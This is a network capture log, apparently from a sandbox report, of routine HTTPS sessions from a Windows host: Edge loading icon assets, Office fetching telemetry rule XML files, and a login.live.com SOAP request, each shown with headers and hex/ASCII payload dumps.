PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49887	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:53 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:54 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:53 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 31a78a87-201e-0070-1618-401bc3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215253Z-174f7845968zgtf6hC1EWRqd8s0000000nvg00000000tkk2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:54 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:54 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215254Z-174f7845968g6hv8hC1EWR1v2n00000003v000000000sayd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:54 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:54 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215254Z-174f78459685726chC1EWRsnbg0000000w40000000006nnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:54 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:54 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215254Z-174f7845968psccphC1EWRuz9s0000000w6g00000000mwdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:54 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:55 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215255Z-174f7845968cpnpfhC1EWR3afc0000000vq0000000007d47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:55 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	49892	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-26 21:52:55 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 21:52:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C522_BAY x-ms-request-id: c71a40c5-8341-4033-a4c3-1fdb5adb3e74 PPServer: PPV: 30 H: PH1PEPF00012012 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:56 GMT Connection: close Content-Length: 11389
2024-11-26 21:52:56 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215255Z-174f7845968ljs8phC1EWRe6en0000000vxg000000006a1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:56 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:56 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215256Z-174f7845968qj8jrhC1EWRh41s0000000vzg00000000a0fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49857	104.70.121.41	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:56 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
2024-11-26 21:52:57 UTC	1033	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Akamai-Loopback-Request: 8096267 Date: Tue, 26 Nov 2024 21:52:56 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=104.70.121.5,b=17445575,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 104.70.121.5 Akamai-Request-ID: 10a32c7 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.05794668.1732657976.10a32c7 Vary: Origin
2024-11-26 21:52:57 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:56 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215257Z-174f7845968cpnpfhC1EWR3afc0000000vmg00000000fxq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:56 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
